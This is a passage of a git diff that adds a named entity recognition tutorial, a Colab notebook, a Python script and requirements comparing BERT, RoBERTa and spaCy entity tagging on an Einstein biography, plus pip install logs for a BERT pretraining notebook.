"f98ca551ff4443f0a4e40bcf7758f3dc", + "ef1d3589d4474347a79054118ad11683", + "03ae716e541d4b22b2e82f36d1fa516c", + "9b57473fbcb341cf90393ad8f41eff2f", + "ff5e0890b8724417b82358a48aba3e78", + "95707ff8a18749cbaf31ce459278662f", + "c77101d1f1ca4452805baa23883deb71", + "59432e64a20f4a1f840a4a4e4219b61a", + "37b0572613f2436fb1295266742a3347", + "9601fd546e844c22a9bbd578af726caa", + "b1bbe9741ce6472fa767e38d4165ba0a", + "8faf96e2a06749edb9e407e3078ed863", + "e7bf154fcfb34c2d963ee3dc15de9b4a", + "247e98ffba5b4677af83ecc7adabf4f9", + "36debd6ba8074e0fad9da507c4ab276e", + "99be590e388b4d8a8987e45f920d5e36", + "d59c98d15314432b964418fc26384411", + "55c80d31a9774730b53948f5f0beac6f", + "b13e766210c44230a2d4a027fe3e5c21", + "1d6db3019cbf4abcb3652617e56bcbea", + "745a2fa9e81a4c24bb54d53ab6805d34", + "19db4b4005064243a5409e84ea9f89df", + "99bbe160962a4ad48bf423145bf99430", + "32cfdb3f92304c329307a9ee43852f38", + "ab532f783ed04c8ca11ef2087722e465", + "34ad0b24e30447b5b2f0aa11bc59c687", + "3d8ab41e60ed4eea84b75c1804e561ab", + "30a6d47314cc49fbbd969b76e580c72a", + "48df546e7b564234b3778f6ffeadbf17" + ] + }, + "id": "bt3r6hON-9rZ", + "outputId": "1267034b-9a7a-4139-f01a-6e1079170e16" + }, + "execution_count": 6, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "https://huggingface.co/dslim/bert-base-NER/resolve/main/config.json not found in cache or force_download set to True, downloading to /root/.cache/huggingface/transformers/tmp546bt3vk\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading: 0%| | 0.00/829 [00:00" + ], + "text/html": [ + "

\n", + "\n", + " Albert\n", + " B-PER\n", + "\n", + " \n", + "\n", + " Einstein\n", + " I-PER\n", + "\n", + " was a \n", + "\n", + " German\n", + " B-MISC\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " B-PER\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " B-PER\n", + "\n", + " was born in the \n", + "\n", + " German\n", + " B-LOC\n", + "\n", + " \n", + "\n", + " Empire\n", + " I-LOC\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " B-LOC\n", + "\n", + " in 1895, forsaking his \n", + "\n", + " German\n", + " B-MISC\n", + "\n", + " citizenship (as a subject of the Kingdom of \n", + "\n", + " Württemberg\n", + " B-LOC\n", + "\n", + ") the following year.
In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " B-MISC\n", + "\n", + " Federal polytechnic school in \n", + "\n", + " Zürich\n", + " B-LOC\n", + "\n", + ", graduating in 1900
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load roberta-large model\n", + "ner2 = pipeline(\"ner\", model=\"xlm-roberta-large-finetuned-conll03-english\")" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000, + "referenced_widgets": [ + "c657666a56c5407bbafbe0f89549c382", + "0312455f52014d9e9a77c392efcd6e41", + "7670ce59ba884342b7864a1c2c954b32", + "6d51b244fd8a46a893fea991ebeb938e", + "df27715317114bab8097d28be8dbaf7d", + "7065a22bffa94dfe8cd0ec1d7b63f248", + "062952d272424f9681299d8e331e313f", + "1bb8fe2cb34e4d8e86047968c5d035c8", + "ffecfcd5d91c4334ad10dad18308db97", + "93b9aabe280e43649c8127be38c004be", + "d525c841015b47da85324c6687e6b065", + "58bc5fceab2c4b0b92d21e070b34b581", + "9a3ca2c1215c466aa819c3fc1c9d8ec6", + "a7b39fce6da5420391a98688d9241a62", + "72e9ee98d60e4f60ba12c4e782f00466", + "6afd50ae2ac44bf6ab99e590431a471f", + "9509d4b508bc41a299cc4bc034b2ed37", + "a474f5b8646e4046abcdc3d367c52487", + "fcdefb7c64954b85b0884eade938947c", + "ab180c360bea41cbae7e259b4870881a", + "7bb499242c7a47128633ac85aa08b585", + "ed72bfb634f34fea85262888914d465d", + "fa5899bf62de41949e2fb249fd43ea05", + "8e1ab0c2d369447ca87f5df903216a63", + "6a24ccf99d6f43f7bcc660737fb49b34", + "adb3b5ca099a4ed89d72b4aec37e705c", + "bdaa096547e2437d9c50935fad091035", + "bb760d1c151445669c8cbaad55fb2bd9", + "8b10f855df2342f29281dbfbf884bab3", + "6f615702700f45558b2c225905075139", + "d94cd821f1584b0288c7950d98dc1b94", + "7f1841539e7f4c7b84504eda31136f27", + "24f2c7bfd6a14a888f92d3b25a867805", + "8e202bee8a6d40bfa5bfedcecf0c1539", + "19d7d3a0c7404b53ab32d4148837334d", + "80f7c5b4a88d421d98a4973c3a045c65", + "ccd2f7cedea546f3b6e682f7d0827af2", + "84530f87cd444509aedb0e67f2421153", + "ce79218e754a4ea48c7116dbbac6cca9", + "db82edbb668d459c86bac6842a17faed", + "74c20f14d65f46138766f4dd661d0e6f", + "e0494d8c8ae4444d9884498446e4cf1b", + "456f6d9ce4554a3b9ff6fcb5b6918bb2", + "35c7c39562724525bc6c211187584f41" + ] + }, + "id": "jXfH-mvl4VgJ", + "outputId": "fba4d857-4c25-4afc-b4e1-b70e2934f22d" + }, + "execution_count": 10, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json not found in cache or force_download set to True, downloading to /root/.cache/huggingface/transformers/tmpbumktoj0\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading: 0%| | 0.00/852 [00:00" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " I-PER\n", + "\n", + " was a \n", + "\n", + " German\n", + " I-MISC\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " I-PER\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " I-PER\n", + "\n", + " was born in the \n", + "\n", + " German Empire\n", + " I-LOC\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " I-LOC\n", + "\n", + " in 1895, forsaking his \n", + "\n", + " German\n", + " I-MISC\n", + "\n", + " citizenship (as a subject of the \n", + "\n", + " Kingdom of Württemberg\n", + " I-LOC\n", + "\n", + ") the following year.
In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " I-MISC\n", + "\n", + " \n", + "\n", + " Federal\n", + " I-ORG\n", + "\n", + " polytechnic school in \n", + "\n", + " Zürich\n", + " I-LOC\n", + "\n", + ", graduating in 1900
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load yet another roberta-large model\n", + "ner3 = pipeline(\"ner\", model=\"Jean-Baptiste/roberta-large-ner-english\")" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 1000, + "referenced_widgets": [ + "10dc3d59148a45c98c0888922053cd30", + "8238e0fa7fad46b2ad653d5e970416aa", + "b1a8d8d4fe2846fd8e374a70b20a8320", + "95d2768742124d678b7754c54ee7acd2", + "6bc73766fcd14b5ba5cb7db4097bc5bd", + "3c2c01de9b6a4b3e88208a50cf2c4789", + "c5345c5a0b924c4c83c407254a331dfc", + "f7ecc57fd8f94f7e8e724f478cd25460", + "863aadd6cf2d44f38e6dec546229e463", + "ab2265da58fd4ec087d2558da9caf218", + "dd09bc2b4be249e6bfa3d25081cdb4ca", + "f7227b1a6b514a8b98ebfa5ea8223846", + "4fc16ee2d6014dfeb8d94272f7563db7", + "b2dba9ee275e4862931fdf6859c62346", + "67f2b09fbc9842f685d33b395de968fa", + "adfa9ac6fced446eb933ff6de2b056b3", + "6268c61c743048baada2e5d2373b49a6", + "03d68213295e4dc8a697e78d4de9b2ca", + "2c2b23a1ebf240578067e3aa1afefe72", + "f5b32a225df141eab8eec62d304e12bf", + "bcdc87715af148eba9084540db350022", + "c434495f90f54e46833eb5cb93ca5135", + "fc5039ea3e374089b682dd227e458c1a", + "2d502c94689e443a84af77b5c76e72ee", + "dcb7b57331f14412b3d8067417bd676b", + "9a9fb522095f4135b5d7871efd783232", + "136c0be282d54310bfbb2df86a263620", + "1a47774c8a494d72b9a95d4e58c7940f", + "a0db4c076ade457aacf4070cf2779dff", + "ef513e242722470f9bdcd4535456ae7c", + "a6933cc4c4e049c3aa65b4a1fe707f11", + "1bb3934ad28f4888b8d7d8226e29f84e", + "474e40aa487f4399a63797bc082d1327", + "944566712b18476288a33c8782b44099", + "565aa92b312740c2814a848d06cd1579", + "e6128cd96bf142228293bc74045242da", + "d8bdca0500fe4a9e9fab75edba46af84", + "ad06bac1ce8346c2adc989acc55e888c", + "73a9f075b21e4da1bec000014173283f", + "193773bef4394845a1338419390b76d1", + "a65f0ca4aaa24240801314983191c170", + "d887c728f5504e6eaf95b07971447ea6", + "fcdb377579fc45a4a84e96f0113874ef", + "f1e68bd4977b4353b7fe5ce953642ef1", + "29bb664e63714f4d8b872fb088728ba8", + "5949c51fdbe4434a9d0907360583db3f", + "7f57024773464cfd821e50d3e08acbbb", + "edfb5a81ddd84ca8a7d2e742d8845958", + "0205d03218744ef3b4afd2f6b6e29b12", + "73da2e3ca1b24ea9b004209805d02ac7", + "27ee464a1b5447d9b563d55173a8c07d", + "0dda3c57f4914e3b912f90adc2c6bccc", + "b63eacd563084ced8e20e7066c00862c", + "e5508e7cab9d44928b87de799565d06d", + "11b5a188505f4616924db47def095842", + "98fbd9a86ab040ee90c6a57f62272da3", + "0f6e8126647e4d87a4cf6d9f053d81e5", + "0aff7168112c471d92c5e42ec863e6e5", + "bdde94a266814343a2a5b2472ce46936", + "904492fdd3b54ca88efbc511de296892", + "321a6f9cef534ce4b0f7843ef9f0eb40", + "c1f46ad40e1f40aca9e0715209b8deca", + "7141101f202a4ed18d67f78610d95317", + "1090f354af9f4ac7a32b3ac7a61492f4", + "e21406b5c4e045b5a6fd756446b02fcb", + "a5bf24200bf644a0a8dfb7ff184125f5" + ] + }, + "id": "4cIpMKTV7Lc6", + "outputId": "190b38fb-2d77-46d6-e2ed-33fb4241f399" + }, + "execution_count": 13, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json not found in cache or force_download set to True, downloading to /root/.cache/huggingface/transformers/tmp9fr9adgj\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "Downloading: 0%| | 0.00/849 [00:00" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " PER\n", + "\n", + " was a \n", + "\n", + " German-born\n", + " MISC\n", + "\n", + " theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " PER\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " PER\n", + "\n", + " was born in the \n", + "\n", + " German Empire\n", + " LOC\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " LOC\n", + "\n", + " in 1895, forsaking his \n", + "\n", + " German\n", + " MISC\n", + "\n", + " citizenship (as a subject of the \n", + "\n", + " Kingdom of Württemberg\n", + " LOC\n", + "\n", + ") the following year.
In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " MISC\n", + "\n", + " \n", + "\n", + " Federal\n", + " ORG\n", + "\n", + " polytechnic school in \n", + "\n", + " Zürich\n", + " LOC\n", + "\n", + ", graduating in 1900
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load the English CPU-optimized pipeline\n", + "nlp = spacy.load(\"en_core_web_sm\")" + ], + "metadata": { + "id": "HnQ0WmxfPML7" + }, + "execution_count": 16, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "# predict the entities\n", + "doc = nlp(text)" + ], + "metadata": { + "id": "vkiI1J52PRrA" + }, + "execution_count": 17, + "outputs": [] + }, + { + "cell_type": "code", + "source": [ + "# display the doc with jupyter mode\n", + "spacy.displacy.render(doc, style=\"ent\", jupyter=True)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 192 + }, + "id": "qyCTpWSzPVyq", + "outputId": "4a9582fd-253b-4b6e-ae11-ced1a0d4dae7" + }, + "execution_count": 18, + "outputs": [ + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " PERSON\n", + "\n", + " was a \n", + "\n", + " German\n", + " NORP\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of \n", + "\n", + " quantum mechanics\n", + " ORG\n", + "\n", + ".
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " was born in \n", + "\n", + " the German Empire\n", + " GPE\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " GPE\n", + "\n", + " in \n", + "\n", + " 1895\n", + " DATE\n", + "\n", + ", forsaking his \n", + "\n", + " German\n", + " NORP\n", + "\n", + " citizenship (as a subject of \n", + "\n", + " the Kingdom of Württemberg\n", + " GPE\n", + "\n", + ") \n", + "\n", + " the following year\n", + " DATE\n", + "\n", + ".
In \n", + "\n", + " 1897\n", + " DATE\n", + "\n", + ", at \n", + "\n", + " the age of 17\n", + " DATE\n", + "\n", + ", he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss\n", + " NORP\n", + "\n", + " Federal polytechnic school in \n", + "\n", + " Zürich\n", + " GPE\n", + "\n", + ", graduating in \n", + "\n", + " 1900\n", + " DATE\n", + "\n", + "
" + ] + }, + "metadata": {} + } + ] + }, + { + "cell_type": "code", + "source": [ + "# load the English transformer pipeline (roberta-base) using spaCy\n", + "nlp_trf = spacy.load('en_core_web_trf')" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "ISyXFbhSuBHK", + "outputId": "c19d3750-2cc6-4b57-f4f9-8d881e12cf5d" + }, + "execution_count": 19, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "loading configuration file /tmp/tmpsi87034g/config.json\n", + "Model config RobertaConfig {\n", + " \"_name_or_path\": \"/tmp/tmpsi87034g/config.json\",\n", + " \"architectures\": [\n", + " \"RobertaForMaskedLM\"\n", + " ],\n", + " \"attention_probs_dropout_prob\": 0.1,\n", + " \"bos_token_id\": 0,\n", + " \"classifier_dropout\": null,\n", + " \"eos_token_id\": 2,\n", + " \"hidden_act\": \"gelu\",\n", + " \"hidden_dropout_prob\": 0.1,\n", + " \"hidden_size\": 768,\n", + " \"initializer_range\": 0.02,\n", + " \"intermediate_size\": 3072,\n", + " \"layer_norm_eps\": 1e-05,\n", + " \"max_position_embeddings\": 514,\n", + " \"model_type\": \"roberta\",\n", + " \"num_attention_heads\": 12,\n", + " \"num_hidden_layers\": 12,\n", + " \"pad_token_id\": 1,\n", + " \"position_embedding_type\": \"absolute\",\n", + " \"transformers_version\": \"4.17.0\",\n", + " \"type_vocab_size\": 1,\n", + " \"use_cache\": true,\n", + " \"vocab_size\": 50265\n", + "}\n", + "\n", + "Didn't find file /tmp/tmpsi87034g/added_tokens.json. We won't load it.\n", + "loading file /tmp/tmpsi87034g/vocab.json\n", + "loading file /tmp/tmpsi87034g/merges.txt\n", + "loading file /tmp/tmpsi87034g/tokenizer.json\n", + "loading file None\n", + "loading file /tmp/tmpsi87034g/special_tokens_map.json\n", + "loading file /tmp/tmpsi87034g/tokenizer_config.json\n" + ] + } + ] + }, + { + "cell_type": "code", + "source": [ + "# perform inference on the model\n", + "doc_trf = nlp_trf(text)\n", + "# display the doc with jupyter mode\n", + "spacy.displacy.render(doc_trf, style=\"ent\", jupyter=True)" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/", + "height": 228 + }, + "id": "nKnLbTK0Aakz", + "outputId": "c55ddd55-07c9-4717-fdbd-cd4b2b4a7d79" + }, + "execution_count": 20, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "/usr/local/lib/python3.7/dist-packages/torch/autocast_mode.py:141: UserWarning: User provided device_type of 'cuda', but CUDA is not available. Disabling\n", + " warnings.warn('User provided device_type of \\'cuda\\', but CUDA is not available. Disabling')\n" + ] + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "text/html": [ + "

\n", + "\n", + " Albert Einstein\n", + " PERSON\n", + "\n", + " was a \n", + "\n", + " German\n", + " NORP\n", + "\n", + "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time.
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.
\n", + "\n", + " Einstein\n", + " PERSON\n", + "\n", + " was born in \n", + "\n", + " the German Empire\n", + " GPE\n", + "\n", + ", but moved to \n", + "\n", + " Switzerland\n", + " GPE\n", + "\n", + " in \n", + "\n", + " 1895\n", + " DATE\n", + "\n", + ", forsaking his \n", + "\n", + " German\n", + " NORP\n", + "\n", + " citizenship (as a subject of \n", + "\n", + " the Kingdom of Württemberg\n", + " GPE\n", + "\n", + ") \n", + "\n", + " the following year\n", + " DATE\n", + "\n", + ".
In \n", + "\n", + " 1897\n", + " DATE\n", + "\n", + ", at \n", + "\n", + " the age of 17\n", + " DATE\n", + "\n", + ", he enrolled in the mathematics and physics teaching diploma program at the \n", + "\n", + " Swiss Federal\n", + " ORG\n", + "\n", + " polytechnic school in \n", + "\n", + " Zürich\n", + " GPE\n", + "\n", + ", graduating in \n", + "\n", + " 1900\n", + " DATE\n", + "\n", + "
" + ] + }, + "metadata": {} + } + ] + } + ] +} \ No newline at end of file diff --git a/machine-learning/nlp/named-entity-recognition/README.md b/machine-learning/nlp/named-entity-recognition/README.md new file mode 100644 index 00000000..7386cbd4 --- /dev/null +++ b/machine-learning/nlp/named-entity-recognition/README.md @@ -0,0 +1 @@ +# [Named Entity Recognition using Transformers and Spacy in Python](https://www.thepythoncode.com/article/named-entity-recognition-using-transformers-and-spacy) \ No newline at end of file diff --git a/machine-learning/nlp/named-entity-recognition/ner.py b/machine-learning/nlp/named-entity-recognition/ner.py new file mode 100644 index 00000000..67d51370 --- /dev/null +++ b/machine-learning/nlp/named-entity-recognition/ner.py @@ -0,0 +1,111 @@ +# %% +# !pip install --upgrade transformers sentencepiece + +# %% +# !pip install https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl + +# %% +# !python -m spacy download en_core_web_sm + +# %% +import spacy +from transformers import * + +# %% +# sample text from Wikipedia +text = """ +Albert Einstein was a German-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. +Einstein is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics. +Einstein was born in the German Empire, but moved to Switzerland in 1895, forsaking his German citizenship (as a subject of the Kingdom of Württemberg) the following year. +In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the Swiss Federal polytechnic school in Zürich, graduating in 1900 +""" + +# %% +# load BERT model fine-tuned for Named Entity Recognition (NER) +ner = pipeline("ner", model="dslim/bert-base-NER") + +# %% +# perform inference on the transformer model +doc_ner = ner(text) +# print the output +doc_ner + +# %% +def get_entities_html(text, ner_result, title=None): + """Returns a visual version of NER with the help of SpaCy""" + ents = [] + for ent in ner_result: + e = {} + # add the start and end positions of the entity + e["start"] = ent["start"] + e["end"] = ent["end"] + # add the score if you want in the label + # e["label"] = f"{ent["entity"]}-{ent['score']:.2f}" + e["label"] = ent["entity"] + if ents and -1 <= ent["start"] - ents[-1]["end"] <= 1 and ents[-1]["label"] == e["label"]: + # if the current entity is shared with previous entity + # simply extend the entity end position instead of adding a new one + ents[-1]["end"] = e["end"] + continue + ents.append(e) + # construct data required for displacy.render() method + render_data = [ + { + "text": text, + "ents": ents, + "title": title, + } + ] + return spacy.displacy.render(render_data, style="ent", manual=True, jupyter=True) + +# %% +# get HTML representation of NER of our text +get_entities_html(text, doc_ner) + +# %% +# load roberta-large model +ner2 = pipeline("ner", model="xlm-roberta-large-finetuned-conll03-english") + +# %% +# perform inference on this model +doc_ner2 = ner2(text) + +# %% +# get HTML representation of NER of our text +get_entities_html(text, doc_ner2) + +# %% +# load yet another roberta-large model +ner3 = pipeline("ner", model="Jean-Baptiste/roberta-large-ner-english") + +# %% +# perform inference on this model +doc_ner3 = ner3(text) + +# %% +# get HTML representation of NER of our text +get_entities_html(text, doc_ner3) + +# %% +# load the English CPU-optimized pipeline +nlp = spacy.load("en_core_web_sm") + +# %% +# predict the entities +doc = nlp(text) + +# %% +# display the doc with jupyter mode +spacy.displacy.render(doc, style="ent", jupyter=True) + +# %% +# load the English transformer pipeline (roberta-base) using spaCy +nlp_trf = spacy.load('en_core_web_trf') + +# %% +# perform inference on the model +doc_trf = nlp_trf(text) +# display the doc with jupyter mode +spacy.displacy.render(doc_trf, style="ent", jupyter=True) + + diff --git a/machine-learning/nlp/named-entity-recognition/requirements.txt b/machine-learning/nlp/named-entity-recognition/requirements.txt new file mode 100644 index 00000000..b9b86bea --- /dev/null +++ b/machine-learning/nlp/named-entity-recognition/requirements.txt @@ -0,0 +1,3 @@ +transformers +sentencepiece +https://github.com/explosion/spacy-models/releases/download/en_core_web_trf-3.2.0/en_core_web_trf-3.2.0-py3-none-any.whl \ No newline at end of file diff --git a/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb b/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb index c64b2749..101cd312 100644 --- a/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb +++ b/machine-learning/nlp/pretraining-bert/PretrainingBERT.ipynb @@ -8,11 +8,124 @@ "base_uri": "https://localhost:8080/" }, "id": "o4-qIq-Rt179", - "outputId": "30da6912-cb68-4598-bacd-4e4d4b17d4c4" + "outputId": "b18fc480-eb9f-46d3-98a6-552fddb666aa" }, - "outputs": [], + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Looking in indexes: https://pypi.org/simple, https://us-python.pkg.dev/colab-wheels/public/simple/\n", + "Collecting datasets\n", + " Downloading datasets-2.2.2-py3-none-any.whl (346 kB)\n", + "\u001b[K |████████████████████████████████| 346 kB 8.3 MB/s \n", + "\u001b[?25hCollecting transformers==4.18.0\n", + " Downloading transformers-4.18.0-py3-none-any.whl (4.0 MB)\n", + "\u001b[K |████████████████████████████████| 4.0 MB 45.3 MB/s \n", + "\u001b[?25hCollecting sentencepiece\n", + " Downloading sentencepiece-0.1.96-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (1.2 MB)\n", + "\u001b[K |████████████████████████████████| 1.2 MB 43.3 MB/s \n", + "\u001b[?25hRequirement already satisfied: packaging>=20.0 in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (21.3)\n", + "Collecting sacremoses\n", + " Downloading sacremoses-0.0.53.tar.gz (880 kB)\n", + "\u001b[K |████████████████████████████████| 880 kB 47.0 MB/s \n", + "\u001b[?25hRequirement already satisfied: tqdm>=4.27 in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (4.64.0)\n", + "Collecting huggingface-hub<1.0,>=0.1.0\n", + " Downloading huggingface_hub-0.7.0-py3-none-any.whl (86 kB)\n", + "\u001b[K |████████████████████████████████| 86 kB 5.3 MB/s \n", + "\u001b[?25hCollecting pyyaml>=5.1\n", + " Downloading PyYAML-6.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (596 kB)\n", + "\u001b[K |████████████████████████████████| 596 kB 49.6 MB/s \n", + "\u001b[?25hRequirement already satisfied: filelock in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (3.7.0)\n", + "Requirement already satisfied: regex!=2019.12.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (2019.12.20)\n", + "Requirement already satisfied: importlib-metadata in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (4.11.4)\n", + "Requirement already satisfied: requests in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (2.23.0)\n", + "Collecting tokenizers!=0.11.3,<0.13,>=0.11.1\n", + " Downloading tokenizers-0.12.1-cp37-cp37m-manylinux_2_12_x86_64.manylinux2010_x86_64.whl (6.6 MB)\n", + "\u001b[K |████████████████████████████████| 6.6 MB 36.1 MB/s \n", + "\u001b[?25hRequirement already satisfied: numpy>=1.17 in /usr/local/lib/python3.7/dist-packages (from transformers==4.18.0) (1.21.6)\n", + "Requirement already satisfied: typing-extensions>=3.7.4.3 in /usr/local/lib/python3.7/dist-packages (from huggingface-hub<1.0,>=0.1.0->transformers==4.18.0) (4.2.0)\n", + "Requirement already satisfied: pyparsing!=3.0.5,>=2.0.2 in /usr/local/lib/python3.7/dist-packages (from packaging>=20.0->transformers==4.18.0) (3.0.9)\n", + "Collecting xxhash\n", + " Downloading xxhash-3.0.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (212 kB)\n", + "\u001b[K |████████████████████████████████| 212 kB 55.8 MB/s \n", + "\u001b[?25hRequirement already satisfied: pyarrow>=6.0.0 in /usr/local/lib/python3.7/dist-packages (from datasets) (6.0.1)\n", + "Collecting aiohttp\n", + " Downloading aiohttp-3.8.1-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (1.1 MB)\n", + "\u001b[K |████████████████████████████████| 1.1 MB 45.5 MB/s \n", + "\u001b[?25hCollecting fsspec[http]>=2021.05.0\n", + " Downloading fsspec-2022.5.0-py3-none-any.whl (140 kB)\n", + "\u001b[K |████████████████████████████████| 140 kB 53.6 MB/s \n", + "\u001b[?25hRequirement already satisfied: pandas in /usr/local/lib/python3.7/dist-packages (from datasets) (1.3.5)\n", + "Collecting responses<0.19\n", + " Downloading responses-0.18.0-py3-none-any.whl (38 kB)\n", + "Collecting dill<0.3.5\n", + " Downloading dill-0.3.4-py2.py3-none-any.whl (86 kB)\n", + "\u001b[K |████████████████████████████████| 86 kB 5.7 MB/s \n", + "\u001b[?25hRequirement already satisfied: multiprocess in /usr/local/lib/python3.7/dist-packages (from datasets) (0.70.13)\n", + "Requirement already satisfied: urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.18.0) (1.24.3)\n", + "Requirement already satisfied: certifi>=2017.4.17 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.18.0) (2022.5.18.1)\n", + "Requirement already satisfied: idna<3,>=2.5 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.18.0) (2.10)\n", + "Requirement already satisfied: chardet<4,>=3.0.2 in /usr/local/lib/python3.7/dist-packages (from requests->transformers==4.18.0) (3.0.4)\n", + "Collecting urllib3!=1.25.0,!=1.25.1,<1.26,>=1.21.1\n", + " Downloading urllib3-1.25.11-py2.py3-none-any.whl (127 kB)\n", + "\u001b[K |████████████████████████████████| 127 kB 52.3 MB/s \n", + "\u001b[?25hCollecting frozenlist>=1.1.1\n", + " Downloading frozenlist-1.3.0-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_17_x86_64.manylinux2014_x86_64.whl (144 kB)\n", + "\u001b[K |████████████████████████████████| 144 kB 50.9 MB/s \n", + "\u001b[?25hRequirement already satisfied: charset-normalizer<3.0,>=2.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (2.0.12)\n", + "Collecting multidict<7.0,>=4.5\n", + " Downloading multidict-6.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl (94 kB)\n", + "\u001b[K |████████████████████████████████| 94 kB 3.2 MB/s \n", + "\u001b[?25hRequirement already satisfied: attrs>=17.3.0 in /usr/local/lib/python3.7/dist-packages (from aiohttp->datasets) (21.4.0)\n", + "Collecting async-timeout<5.0,>=4.0.0a3\n", + " Downloading async_timeout-4.0.2-py3-none-any.whl (5.8 kB)\n", + "Collecting asynctest==0.13.0\n", + " Downloading asynctest-0.13.0-py3-none-any.whl (26 kB)\n", + "Collecting yarl<2.0,>=1.0\n", + " Downloading yarl-1.7.2-cp37-cp37m-manylinux_2_5_x86_64.manylinux1_x86_64.manylinux_2_12_x86_64.manylinux2010_x86_64.whl (271 kB)\n", + "\u001b[K |████████████████████████████████| 271 kB 51.2 MB/s \n", + "\u001b[?25hCollecting aiosignal>=1.1.2\n", + " Downloading aiosignal-1.2.0-py3-none-any.whl (8.2 kB)\n", + "Requirement already satisfied: zipp>=0.5 in /usr/local/lib/python3.7/dist-packages (from importlib-metadata->transformers==4.18.0) (3.8.0)\n", + "Collecting multiprocess\n", + " Downloading multiprocess-0.70.12.2-py37-none-any.whl (112 kB)\n", + "\u001b[K |████████████████████████████████| 112 kB 48.2 MB/s \n", + "\u001b[?25hRequirement already satisfied: pytz>=2017.3 in /usr/local/lib/python3.7/dist-packages (from pandas->datasets) (2022.1)\n", + "Requirement already satisfied: python-dateutil>=2.7.3 in /usr/local/lib/python3.7/dist-packages (from pandas->datasets) (2.8.2)\n", + "Requirement already satisfied: six>=1.5 in /usr/local/lib/python3.7/dist-packages 